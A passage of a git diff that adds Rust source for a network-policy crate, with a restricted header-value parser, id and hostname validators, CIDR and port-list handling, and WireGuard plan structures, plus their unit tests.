crate::ids::clip(t)), + )) + } +} + +/// One scalar at the start of `s`; returns it and what follows. +fn scalar<'a>( + s: &'a str, + in_flow: bool, + line: usize, + key: &str, +) -> Result<(String, &'a str), HeaderError> { + match s.chars().next() { + Some('&') => Err(refused(line, Some(key), "anchors (`&`) are not allowed")), + Some('*') => Err(refused(line, Some(key), "aliases (`*`) are not allowed")), + Some('!') => Err(refused(line, Some(key), "tags (`!`) are not allowed")), + Some('|') | Some('>') => Err(refused( + line, + Some(key), + "block scalars (`|`, `>`) are not allowed", + )), + Some('{') => Err(refused( + line, + Some(key), + "flow mappings (`{}`) are not allowed", + )), + Some('%') | Some('@') | Some('`') | Some('?') | Some(',') | Some(']') | Some('}') => { + Err(syntax( + line, + Some(key), + "a value may not start with this character; quote it", + )) + } + Some('"') => double_quoted(&s[1..], line, key), + Some('\'') => single_quoted(&s[1..], line, key), + _ => { + let mut end = s.len(); + for (i, c) in s.char_indices() { + if in_flow && matches!(c, ',' | ']') { + end = i; + break; + } + if in_flow && matches!(c, '[' | '{' | '}') { + return Err(syntax( + line, + Some(key), + "quote a list item that holds brackets", + )); + } + if c == '#' && i > 0 && s.as_bytes()[i - 1] == b' ' { + end = i; + break; + } + } + let v = s[..end].trim_end_matches(' '); + if v.contains(": ") || v.ends_with(':') { + return Err(syntax( + line, + Some(key), + "a plain value may not contain `: `; quote it", + )); + } + if v.is_empty() && in_flow { + return Err(syntax(line, Some(key), "an empty item in a list")); + } + Ok((v.to_string(), &s[v.len()..])) + } + } +} + +fn double_quoted<'a>(s: &'a str, line: usize, key: &str) -> Result<(String, &'a str), HeaderError> { + let mut out = String::new(); + let mut chars = s.char_indices(); + while let Some((i, c)) = chars.next() { + match c { + '"' => return Ok((out, &s[i + 1..])), + '\\' => match chars.next().map(|(_, c)| c) { + Some('"') => out.push('"'), + Some('\\') => out.push('\\'), + Some('n') => out.push('\n'), + Some('t') => out.push('\t'), + Some('r') => out.push('\r'), + Some('u') => { + let hex: String = (0..4) + .filter_map(|_| chars.next().map(|(_, c)| c)) + .collect(); + let ch = (hex.len() == 4 && hex.bytes().all(|b| b.is_ascii_hexdigit())) + .then(|| u32::from_str_radix(&hex, 16).ok()) + .flatten() + .and_then(char::from_u32); + match ch { + Some(ch) => out.push(ch), + None => { + return Err(syntax( + line, + Some(key), + "`\\u` takes 4 hex digits of a character", + )); + } + } + } + _ => { + return Err(syntax( + line, + Some(key), + "unknown escape; use \\\" \\\\ \\n \\t \\r \\uXXXX", + )); + } + }, + c => out.push(c), + } + } + Err(syntax(line, Some(key), "unclosed double-quoted string")) +} + +fn single_quoted<'a>(s: &'a str, line: usize, key: &str) -> Result<(String, &'a str), HeaderError> { + let mut out = String::new(); + let b = s.as_bytes(); + let mut i = 0; + let mut start = 0; + while i < b.len() { + if b[i] == b'\'' { + out.push_str(&s[start..i]); + if b.get(i + 1) == Some(&b'\'') { + out.push('\''); + i += 2; + start = i; + continue; + } + return Ok((out, &s[i + 1..])); + } + i += 1; + } + Err(syntax(line, Some(key), "unclosed single-quoted string")) +} + +/// Whether `s` reads back unchanged as a plain scalar in a header value or flow list item. +pub fn is_plain_safe(s: &str, in_flow: bool) -> bool { + let Some(first) = s.chars().next() else { + return false; + }; + if "&*!|>{}[]%@`?,#'\"-:".contains(first) || s.ends_with(' ') || s.ends_with(':') { + return false; + } + if s.contains(": ") || s.contains(" #") || s.chars().any(|c| c.is_control()) { + return false; + } + if in_flow && s.contains([',', '[', ']', '{', '}']) { + return false; + } + true +} + +/// `s` as a double-quoted scalar. +pub fn quote(s: &str) -> String { + let mut out = String::from("\""); + for c in s.chars() { + match c { + '"' => out.push_str("\\\""), + '\\' => out.push_str("\\\\"), + '\n' => out.push_str("\\n"), + '\t' => out.push_str("\\t"), + '\r' => out.push_str("\\r"), + c if c.is_control() => out.push_str(&format!("\\u{:04x}", c as u32)), + c => out.push(c), + } + } + out.push('"'); + out +} + +#[cfg(test)] +mod tests { + use super::*; + + fn one(line: &str) -> Result { + parse(&[line], 1).map(|f| f[0].value.clone()) + } + + #[test] + fn values() { + assert_eq!(one("a: b"), Ok(Value::Str("b".into()))); + assert_eq!(one("a: b # note"), Ok(Value::Str("b".into()))); + assert_eq!(one("a: b#c"), Ok(Value::Str("b#c".into()))); + assert_eq!(one("a: \"x: y\""), Ok(Value::Str("x: y".into()))); + assert_eq!(one("a: 'it''s'"), Ok(Value::Str("it's".into()))); + assert_eq!( + one("a: [tcp/443, \"udp/53\"] # c"), + Ok(Value::List(vec!["tcp/443".into(), "udp/53".into()])) + ); + assert_eq!(one("a: []"), Ok(Value::List(vec![]))); + assert_eq!(one("a:"), Ok(Value::Absent)); + assert_eq!( + one("a: subnet:fd00::/64"), + Ok(Value::Str("subnet:fd00::/64".into())) + ); + assert_eq!( + parse(&["a:", " - x", " - 'y'", "b: c"], 1).unwrap()[0].value, + Value::List(vec!["x".into(), "y".into()]) + ); + } + + #[test] + fn refusals_name_the_line_and_field() { + for (line, code) in [ + ("a: &x b", rules::YAML_REFUSED), + ("a: *x", rules::YAML_REFUSED), + ("a: !tag b", rules::YAML_REFUSED), + ("a: |", rules::YAML_REFUSED), + ("a: >", rules::YAML_REFUSED), + ("a: {b: c}", rules::YAML_REFUSED), + ("a: [[b]]", rules::YAML_REFUSED), + ("a: x: y", rules::YAML_SYNTAX), + ("a: \"open", rules::YAML_SYNTAX), + ("a: \"\\q\"", rules::YAML_SYNTAX), + ("a: [b, ]", rules::YAML_SYNTAX), + ("a: [b", rules::YAML_SYNTAX), + ("a: \"b\" c", rules::YAML_SYNTAX), + ] { + let e = one(line).unwrap_err(); + assert_eq!( + (e.code, e.field.as_deref(), e.line), + (code, Some("a"), 1), + "{line}" + ); + } + for (lines, code) in [ + (&["\ta: b"][..], rules::YAML_REFUSED), + (&[" a: b"][..], rules::YAML_REFUSED), + (&["%YAML 1.2"][..], rules::YAML_REFUSED), + (&["..."][..], rules::YAML_REFUSED), + (&["a: b", "a: c"][..], rules::KEY_DUPLICATE), + (&["a:", " - - b"][..], rules::YAML_REFUSED), + (&["just text"][..], rules::YAML_SYNTAX), + (&["a:b"][..], rules::YAML_SYNTAX), + ] { + assert_eq!(parse(lines, 1).unwrap_err().code, code, "{lines:?}"); + } + } + + #[test] + fn plain_safety_round_trips() { + for s in [ + "person:jana", + "tcp/443", + "2026-11-29T23:59:59+01:00", + "subnet:fd00::/64", + "true", + ] { + assert!(is_plain_safe(s, true), "{s}"); + assert_eq!(one(&format!("a: {s}")), Ok(Value::Str(s.into()))); + } + for s in ["", "-x", "a: b", "a #b", "[x", "x ", "'q"] { + assert!(!is_plain_safe(s, false), "{s}"); + assert_eq!( + one(&format!("a: {}", quote(s))), + Ok(Value::Str(s.into())), + "{s}" + ); + } + } +} diff --git a/crates/roads/src/id.rs b/crates/roads/src/id.rs new file mode 100644 index 0000000..25086ca --- /dev/null +++ b/crates/roads/src/id.rs @@ -0,0 +1,116 @@ +//! Road ids and file names, in Pensum's style (Fabrica `core/crates/pensum/src/id.rs`). + +use std::collections::BTreeSet; +use std::fmt; + +/// Lowercase Crockford base32: no `i l o u`. +pub const ALPHABET: &[u8; 32] = b"0123456789abcdefghjkmnpqrstvwxyz"; +pub const LEN: usize = 6; +pub const SLUG_MAX: usize = 40; + +/// A road id: 6 random characters of [`ALPHABET`]. +#[derive(Clone, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)] +#[serde(transparent)] +pub struct RoadId(String); + +impl RoadId { + pub fn new(s: &str) -> Option { + is_valid(s).then(|| RoadId(s.to_string())) + } + + pub fn as_str(&self) -> &str { + &self.0 + } +} + +impl fmt::Display for RoadId { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(&self.0) + } +} + +impl fmt::Debug for RoadId { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "RoadId({})", self.0) + } +} + +impl<'de> serde::Deserialize<'de> for RoadId { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + RoadId::new(&s).ok_or_else(|| serde::de::Error::custom(format!("`{s}` is not a road id"))) + } +} + +pub fn is_valid(s: &str) -> bool { + s.len() == LEN && s.bytes().all(|b| ALPHABET.contains(&b)) +} + +/// A random id not in `existing`, from `fill` (the caller's random source: this crate does no I/O). +/// Each byte picks one character (256 / 32: no bias). +pub fn generate_with(existing: &BTreeSet, mut fill: impl FnMut(&mut [u8])) -> RoadId { + loop { + let mut buf = [0u8; LEN]; + fill(&mut buf); + let id: String = buf + .iter() + .map(|b| ALPHABET[(b & 31) as usize] as char) + .collect(); + let id = RoadId(id); + if !existing.contains(&id) { + return id; + } + } +} + +/// Whether a file-name slug is well formed: `[a-z0-9]+(-[a-z0-9]+)*`, at most 40 characters. +pub fn is_valid_slug(s: &str) -> bool { + !s.is_empty() + && s.len() <= SLUG_MAX + && s.split('-').all(|part| { + !part.is_empty() + && part + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit()) + }) +} + +/// Splits `-.md` into the id text and the slug, if the name has that shape. +pub fn split_file_name(name: &str) -> Option<(&str, &str)> { + let stem = name.strip_suffix(".md")?; + let (id, slug) = stem.split_once('-')?; + (is_valid(id) && is_valid_slug(slug)).then_some((id, slug)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn ids_and_names() { + assert!(is_valid("k3f9q2")); + assert!(!is_valid("k3f9qi"), "i is not in the alphabet"); + assert!(!is_valid("K3F9Q2")); + assert!(!is_valid("k3f9q")); + assert_eq!( + split_file_name("k3f9q2-jana-photos.md"), + Some(("k3f9q2", "jana-photos")) + ); + assert_eq!(split_file_name("k3f9q2.md"), None); + assert_eq!(split_file_name("k3f9q2-Jana.md"), None); + assert_eq!(split_file_name("k3f9q2-jana--photos.md"), None); + } + + #[test] + fn generate_skips_existing() { + let mut existing = BTreeSet::new(); + existing.insert(RoadId::new("000000").unwrap()); + let mut calls = 0; + let id = generate_with(&existing, |buf| { + calls += 1; + buf.fill(if calls == 1 { 0 } else { 1 }); + }); + assert_eq!(id.as_str(), "111111"); + assert_eq!(calls, 2); + } +} diff --git a/crates/roads/src/ids.rs b/crates/roads/src/ids.rs new file mode 100644 index 0000000..4f7d1bf --- /dev/null +++ b/crates/roads/src/ids.rs @@ -0,0 +1,170 @@ +//! The ids roads point at, matching the formats of the code that owns them (docs/02_via-core.md, "The ids"). + +use base64::Engine; +use base64::engine::general_purpose::URL_SAFE_NO_PAD; +use std::fmt; + +macro_rules! string_id { + ($name:ident, $check:path, $what:literal) => { + #[derive(Clone, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)] + #[serde(transparent)] + pub struct $name(String); + + impl $name { + pub fn new(s: &str) -> Option<$name> { + $check(s).then(|| $name(s.to_string())) + } + + pub fn as_str(&self) -> &str { + &self.0 + } + } + + impl fmt::Display for $name { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(&self.0) + } + } + + impl fmt::Debug for $name { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}({})", stringify!($name), self.0) + } + } + + impl<'de> serde::Deserialize<'de> for $name { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + $name::new(&s).ok_or_else(|| { + serde::de::Error::custom(format!("`{}` is not {}", clip(&s), $what)) + }) + } + } + }; +} + +string_id!(PersonId, is_opaque_id, "a person id"); +string_id!(GroupId, is_opaque_id, "a group id"); +string_id!(AppId, is_tessera_id, "an app id"); +string_id!(Hostname, is_hostname, "a hostname"); +string_id!(DeviceKey, is_device_key, "a device key"); + +/// A person or group id. **No people directory exists in Fundamentum yet**, so this is an opaque newtype: +/// 1–64 of `[A-Za-z0-9_-]`, wide enough for a base64url Tessera root public key. +pub fn is_opaque_id(s: &str) -> bool { + (1..=64).contains(&s.len()) + && s.bytes() + .all(|b| b.is_ascii_alphanumeric() || b == b'_' || b == b'-') +} + +/// Tessera's id (Fundamentum `crates/tessera/src/id.rs`): 1–32 of `[a-z0-9-]`, not starting or ending with `-`. +pub fn is_tessera_id(s: &str) -> bool { + (1..=32).contains(&s.len()) + && s.bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') + && !s.starts_with('-') + && !s.ends_with('-') +} + +/// A Tessera device subkey (Fundamentum `docs/TESSERA.md` §2 and §4): a 32-byte Ed25519 public key in +/// base64url without padding, in its one canonical encoding. +pub fn is_device_key(s: &str) -> bool { + if s.len() != 43 { + return false; + } + match URL_SAFE_NO_PAD.decode(s) { + Ok(bytes) => bytes.len() == 32 && URL_SAFE_NO_PAD.encode(&bytes) == s, + Err(_) => false, + } +} + +impl DeviceKey { + /// The key of 32 public-key bytes. Tests use it with made-up bytes: there are no real keys in this crate. + pub fn from_bytes(bytes: &[u8; 32]) -> DeviceKey { + DeviceKey(URL_SAFE_NO_PAD.encode(bytes)) + } + + /// The first 8 characters, for people to tell keys apart. + pub fn short(&self) -> &str { + &self.0[..8] + } +} + +/// Ianitor's hostname rules (`crates/core/src/validate.rs`, `check_hostname`), written again here: lowercase, +/// at most 253 characters, labels of 1–63 `[a-z0-9-]` not starting or ending with `-`, no wildcard, no +/// trailing dot, not an IP address. +pub fn is_hostname(h: &str) -> bool { + if h.is_empty() || h.len() > 253 || h.parse::().is_ok() || h.ends_with('.') { + return false; + } + h.split('.').all(|label| { + (1..=63).contains(&label.len()) + && label + .bytes() + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == b'-') + && !label.starts_with('-') + && !label.ends_with('-') + }) +} + +/// At most 40 characters of `s`, for messages. +pub(crate) fn clip(s: &str) -> String { + let mut out: String = s.chars().take(40).collect(); + if out.len() < s.len() { + out.push('…'); + } + out.escape_debug().to_string() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn device_keys_are_canonical_43_character_base64url() { + let k = DeviceKey::from_bytes(&[1; 32]); + assert_eq!(k.as_str(), "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE"); + assert!(is_device_key(k.as_str())); + // Non-zero trailing bits: decodes to the same bytes, but is not the canonical encoding. + assert!(!is_device_key( + "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQF" + )); + assert!(!is_device_key( + "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE=" + )); + assert!(!is_device_key( + "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ+" + )); + } + + #[test] + fn hostnames_follow_ianitor() { + assert!(is_hostname("photos.home.arpa")); + assert!(is_hostname("localhost")); + for bad in [ + "", + "Photos.home.arpa", + "*.home.arpa", + "photos.home.arpa.", + "-a.b", + "a-.b", + "a..b", + "10.0.0.1", + "a b", + ] { + assert!(!is_hostname(bad), "{bad}"); + } + assert!(!is_hostname(&format!("{}.a", "x".repeat(64)))); + } + + #[test] + fn opaque_and_tessera_ids() { + assert!(is_opaque_id("jana")); + assert!(is_opaque_id("AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE")); + assert!(!is_opaque_id("jana novak")); + assert!(!is_opaque_id(&"a".repeat(65))); + assert!(is_tessera_id("steam")); + assert!(!is_tessera_id("-steam")); + assert!(!is_tessera_id("Steam")); + } +} diff --git a/crates/roads/src/lib.rs b/crates/roads/src/lib.rs new file mode 100644 index 0000000..28eddd5 --- /dev/null +++ b/crates/roads/src/lib.rs @@ -0,0 +1,30 @@ +//! Via Domi's road model, its validator and the compiler from roads to per-device plans. +//! +//! Pure: the only I/O is [`Store::load_dir`] reading the store; no network, no clock (`now` is a parameter), +//! no randomness (ids take a random source as a parameter). See `docs/02_via-core.md` and `docs/FORMATS.md`. + +#![forbid(unsafe_code)] + +pub mod compile; +pub mod explain; +pub mod header; +pub mod id; +pub mod ids; +pub mod net; +pub mod plan; +pub mod ports; +pub mod problem; +pub mod road; +pub mod rules; +pub mod snapshot; +pub mod store; + +pub use compile::{Compiled, Grant, compile}; +pub use explain::explain; +pub use id::RoadId; +pub use ids::{AppId, DeviceKey, GroupId, Hostname, PersonId}; +pub use plan::Plan; +pub use problem::{Problem, Severity}; +pub use road::{Body, Place, Road, Subject, Verb}; +pub use snapshot::{Devices, Directory}; +pub use store::Store; diff --git a/crates/roads/src/net.rs b/crates/roads/src/net.rs new file mode 100644 index 0000000..6a275a2 --- /dev/null +++ b/crates/roads/src/net.rs @@ -0,0 +1,228 @@ +//! Networks: canonical CIDRs, host networks, overlap, and what `internet` means. + +use ipnet::IpNet; +use std::fmt; +use std::net::IpAddr; +use std::str::FromStr; + +/// A canonical network (host bits zero), serialised as its text in every format. +#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct Net(IpNet); + +impl Net { + /// Parses `a.b.c.d/n` or `x::/n`; `Err(true)` when it parses but has host bits set. + pub fn parse_canonical(s: &str) -> Result { + let n = IpNet::from_str(s).map_err(|_| false)?; + if n.trunc() != n || n.to_string() != s { + return Err(true); + } + Ok(Net(n)) + } + + /// The `/32` or `/128` of one address. + pub fn host(addr: IpAddr) -> Net { + Net(IpNet::from(addr)) + } + + pub fn v4_default() -> Net { + Net(IpNet::from_str("0.0.0.0/0").expect("literal")) + } + + pub fn v6_default() -> Net { + Net(IpNet::from_str("::/0").expect("literal")) + } + + pub fn inner(&self) -> IpNet { + self.0 + } + + pub fn prefix_len(&self) -> u8 { + self.0.prefix_len() + } + + pub fn contains(&self, other: &Net) -> bool { + self.0.contains(&other.0) + } + + pub fn contains_addr(&self, addr: &IpAddr) -> bool { + self.0.contains(addr) + } + + pub fn overlaps(&self, other: &Net) -> bool { + self.contains(other) || other.contains(self) + } + + /// Whether any part of this network is on the internet: it is not wholly inside one of [`NOT_INTERNET`]. + pub fn reaches_internet(&self) -> bool { + !NOT_INTERNET + .iter() + .any(|s| Net::parse_canonical(s).expect("literal").contains(self)) + } + + /// An IPv6 network that carries IPv4 addresses inside it (mapped, compatible, NAT64, 6to4). Refused + /// everywhere: write the IPv4 network, so the two families are never compared apart (QA R-07). + pub fn embeds_ipv4(&self) -> bool { + matches!(self.0, IpNet::V6(_)) + && EMBEDS_IPV4 + .iter() + .any(|s| Net::parse_canonical(s).expect("literal").contains(self)) + } + + /// Loopback, link-local (cloud metadata lives there), multicast, broadcast and "this network": never a + /// place to reach or route (QA R-08). + pub fn is_special(&self) -> bool { + SPECIAL + .iter() + .any(|s| self.overlaps(&Net::parse_canonical(s).expect("literal"))) + } +} + +const EMBEDS_IPV4: &[&str] = &[ + "::/96", + "::ffff:0.0.0.0/96", + "64:ff9b::/96", + "64:ff9b:1::/48", + "2002::/16", +]; + +const SPECIAL: &[&str] = &[ + "0.0.0.0/8", + "127.0.0.0/8", + "169.254.0.0/16", + "224.0.0.0/4", + "240.0.0.0/4", + "::1/128", + "fe80::/10", + "ff00::/8", +]; + +/// What `internet` excludes (docs/FORMATS.md, "The plan"). +pub const NOT_INTERNET: &[&str] = &[ + "0.0.0.0/8", + "10.0.0.0/8", + "100.64.0.0/10", + "127.0.0.0/8", + "169.254.0.0/16", + "172.16.0.0/12", + "192.168.0.0/16", + "::1/128", + "fc00::/7", + "fe80::/10", +]; + +impl fmt::Display for Net { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.0) + } +} + +impl fmt::Debug for Net { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Net({})", self.0) + } +} + +impl serde::Serialize for Net { + fn serialize(&self, s: S) -> Result { + s.collect_str(&self.0) + } +} + +impl<'de> serde::Deserialize<'de> for Net { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + Net::parse_canonical(&s) + .map_err(|_| serde::de::Error::custom(format!("`{s}` is not a canonical network"))) + } +} + +/// A mesh address, serialised as text in every format. +#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)] +pub struct Addr(pub IpAddr); + +impl fmt::Display for Addr { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.0) + } +} + +impl serde::Serialize for Addr { + fn serialize(&self, s: S) -> Result { + s.collect_str(&self.0) + } +} + +impl<'de> serde::Deserialize<'de> for Addr { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + match s.parse::() { + Ok(a) if a.to_string() == s => Ok(Addr(a)), + _ => Err(serde::de::Error::custom(format!( + "`{s}` is not an IP address in its usual form" + ))), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn canonical_networks() { + assert!(Net::parse_canonical("192.168.100.0/24").is_ok()); + assert_eq!(Net::parse_canonical("192.168.100.7/24"), Err(true)); + assert_eq!( + Net::parse_canonical("fd00:0::/64"), + Err(true), + "not the usual text form" + ); + assert!(Net::parse_canonical("fd00::/64").is_ok()); + assert_eq!(Net::parse_canonical("192.168.100.0"), Err(false)); + assert_eq!(Net::parse_canonical("nonsense"), Err(false)); + } + + #[test] + fn internet() { + assert!( + Net::parse_canonical("8.8.8.0/24") + .unwrap() + .reaches_internet() + ); + assert!(Net::v4_default().reaches_internet()); + assert!( + !Net::parse_canonical("192.168.100.0/24") + .unwrap() + .reaches_internet() + ); + assert!( + !Net::parse_canonical("100.96.0.0/16") + .unwrap() + .reaches_internet() + ); + } + + #[test] + fn embedded_ipv4_and_special_ranges() { + let n = |s: &str| Net::parse_canonical(s).unwrap(); + assert!(n("::ffff:10.0.0.0/120").embeds_ipv4()); + assert!(n("64:ff9b::/96").embeds_ipv4()); + assert!(n("2002::/16").embeds_ipv4()); + assert!(n("::1/128").embeds_ipv4()); + assert!(!n("2000::/3").embeds_ipv4()); + assert!(!n("::/0").embeds_ipv4()); + assert!(!n("fd00::/64").embeds_ipv4()); + for s in [ + "127.0.0.0/8", + "169.254.169.254/32", + "224.0.0.0/4", + "255.255.255.255/32", + "fe80::/10", + "ff02::1/128", + "0.0.0.0/1", + ] { + assert!(n(s).is_special(), "{s}"); + } + assert!(!n("192.168.100.0/24").is_special()); + } +} diff --git a/crates/roads/src/plan.rs b/crates/roads/src/plan.rs new file mode 100644 index 0000000..af5a531 --- /dev/null +++ b/crates/roads/src/plan.rs @@ -0,0 +1,164 @@ +//! The compiled plan: what one device needs (docs/FORMATS.md, "The plan"). Field order is the wire order. + +use crate::id::RoadId; +use crate::ids::{AppId, DeviceKey, Hostname}; +use crate::net::{Addr, Net}; +use crate::ports::Proto; +use serde::{Deserialize, Serialize}; + +pub const FORMAT: u32 = 1; + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Plan { + pub format: u32, + pub device: DeviceKey, + pub name: String, + pub address: Addr, + /// This device is a classic WireGuard peer: not post-quantum. + pub classic: bool, + /// The earliest `until` of the roads this plan was built from, UTC: compile again by then. + pub expires: Option, + pub peers: Vec, + pub firewall: Firewall, + pub dns: Vec, + pub exit: Option, + pub kill_switch: Option, + pub direct: Vec, + pub custom: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Peer { + pub key: DeviceKey, + pub name: String, + pub address: Addr, + /// A classic WireGuard peer: **not post-quantum**. + pub classic: bool, + pub allowed_ips: Vec, + /// A path hint (a relay or an exit) when every road to this peer names the same one. + pub via: Option, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Firewall { + /// Always `deny`: only the rules below let traffic in or through. + pub default: Action, + pub rules: Vec, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Action { + Deny, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Direction { + /// To this device's own address. + In, + /// Through this device: to a subnet it routes, or to the internet as an exit. + Forward, +} + +/// Where a rule lets traffic go. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Dst { + Net(Net), + /// Every address except the private ranges (`net::NOT_INTERNET`). + Internet, +} + +impl Serialize for Dst { + fn serialize(&self, s: S) -> Result { + match self { + Dst::Net(n) => n.serialize(s), + Dst::Internet => s.serialize_str("internet"), + } + } +} + +impl<'de> Deserialize<'de> for Dst { + fn deserialize>(d: D) -> Result { + let s = String::deserialize(d)?; + if s == "internet" { + return Ok(Dst::Internet); + } + Net::parse_canonical(&s) + .map(Dst::Net) + .map_err(|_| serde::de::Error::custom(format!("`{s}` is not a network or `internet`"))) + } +} + +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Rule { + pub direction: Direction, + pub src: Net, + pub dst: Dst, + pub proto: Proto, + pub ports: Option<[u16; 2]>, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Dns { + pub host: Hostname, + pub address: Addr, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Exit { + pub through: DeviceKey, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct KillSwitch { + /// `None` when kill-switch roads disagree: nothing leaves but the mesh (fails closed). + pub through: Option, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Direct { + /// `None`: all traffic to `subnet`; `Some`: only that app's. + pub app: Option, + pub subnet: Net, + pub roads: Vec, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Custom { + pub road: RoadId, + /// The road said this is for a classic peer: not post-quantum. + pub classic: bool, + /// The raw block, byte for byte. **Never checked by the compiler.** + pub raw: String, +} + +impl Plan { + /// Every allowed IP of every peer, with the peer. + pub fn allowed_ips(&self) -> impl Iterator { + self.peers + .iter() + .flat_map(|p| p.allowed_ips.iter().map(move |n| (&p.key, n))) + } + + /// Pretty JSON, two spaces, fields in wire order, a final newline: the same input, the same bytes. + pub fn to_json(&self) -> String { + let mut s = serde_json::to_string_pretty(self).expect("a plan always serialises"); + s.push('\n'); + s + } +} diff --git a/crates/roads/src/ports.rs b/crates/roads/src/ports.rs new file mode 100644 index 0000000..54f8bb4 --- /dev/null +++ b/crates/roads/src/ports.rs @@ -0,0 +1,216 @@ +//! Port lists: `tcp/443`, `udp/53`, `tcp/8000-8100`, `tcp`, `udp`, `icmp` (docs/FORMATS.md). + +use std::fmt; + +#[derive( + Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug, serde::Serialize, serde::Deserialize, +)] +#[serde(rename_all = "kebab-case")] +pub enum Proto { + Any, + Tcp, + Udp, + Icmp, +} + +/// One entry of a port list. `range` is `None` for the whole protocol. +#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Debug)] +pub struct PortSpec { + pub proto: Proto, + pub range: Option<(u16, u16)>, +} + +impl PortSpec { + pub fn parse(s: &str) -> Result { + let (proto, rest) = match s.split_once('/') { + Some((p, r)) => (p, Some(r)), + None => (s, None), + }; + let proto = match proto { + "tcp" => Proto::Tcp, + "udp" => Proto::Udp, + "icmp" => Proto::Icmp, + _ => return Err(format!("`{s}`: the protocol is tcp, udp or icmp")), + }; + let Some(rest) = rest else { + return Ok(PortSpec { proto, range: None }); + }; + if proto == Proto::Icmp { + return Err(format!("`{s}`: icmp has no ports")); + } + let (lo, hi) = match rest.split_once('-') { + Some((a, b)) => (port(a, s)?, port(b, s)?), + None => { + let p = port(rest, s)?; + (p, p) + } + }; + if rest.contains('-') && lo >= hi { + return Err(format!( + "`{s}`: a range goes from a lower port to a higher one" + )); + } + Ok(PortSpec { + proto, + range: Some((lo, hi)), + }) + } + + fn covers_range(&self) -> (u16, u16) { + self.range.unwrap_or((1, 65535)) + } +} + +fn port(t: &str, whole: &str) -> Result { + let ok = !t.is_empty() + && t.len() <= 5 + && t.bytes().all(|b| b.is_ascii_digit()) + && !t.starts_with('0'); + match t.parse::() { + Ok(p) if ok && p > 0 => Ok(p), + _ => Err(format!( + "`{whole}`: a port is a number from 1 to 65535, without leading zeros" + )), + } +} + +impl fmt::Display for PortSpec { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let p = match self.proto { + Proto::Any => "any", + Proto::Tcp => "tcp", + Proto::Udp => "udp", + Proto::Icmp => "icmp", + }; + match self.range { + None => f.write_str(p), + Some((lo, hi)) if lo == hi => write!(f, "{p}/{lo}"), + Some((lo, hi)) => write!(f, "{p}/{lo}-{hi}"), + } + } +} + +/// Whether every spec in `inner` is covered by the union of `outer`. +pub fn is_subset(inner: &[PortSpec], outer: &[PortSpec]) -> bool { + inner.iter().all(|a| { + let mut ranges: Vec<(u32, u32)> = outer + .iter() + .filter(|b| b.proto == a.proto) + .map(|b| { + let (lo, hi) = b.covers_range(); + (lo as u32, hi as u32) + }) + .collect(); + if a.proto == Proto::Icmp { + return !ranges.is_empty(); + } + ranges.sort(); + let (lo, hi) = a.covers_range(); + let (mut need, hi) = (lo as u32, hi as u32); + for (l, h) in ranges { + if l > need { + break; + } + if h >= need { + need = h + 1; + } + if need > hi { + return true; + } + } + need > hi + }) +} + +/// Whether two port sets share any traffic. `None` means all traffic. +pub fn overlaps(a: Option<&[PortSpec]>, b: Option<&[PortSpec]>) -> bool { + match 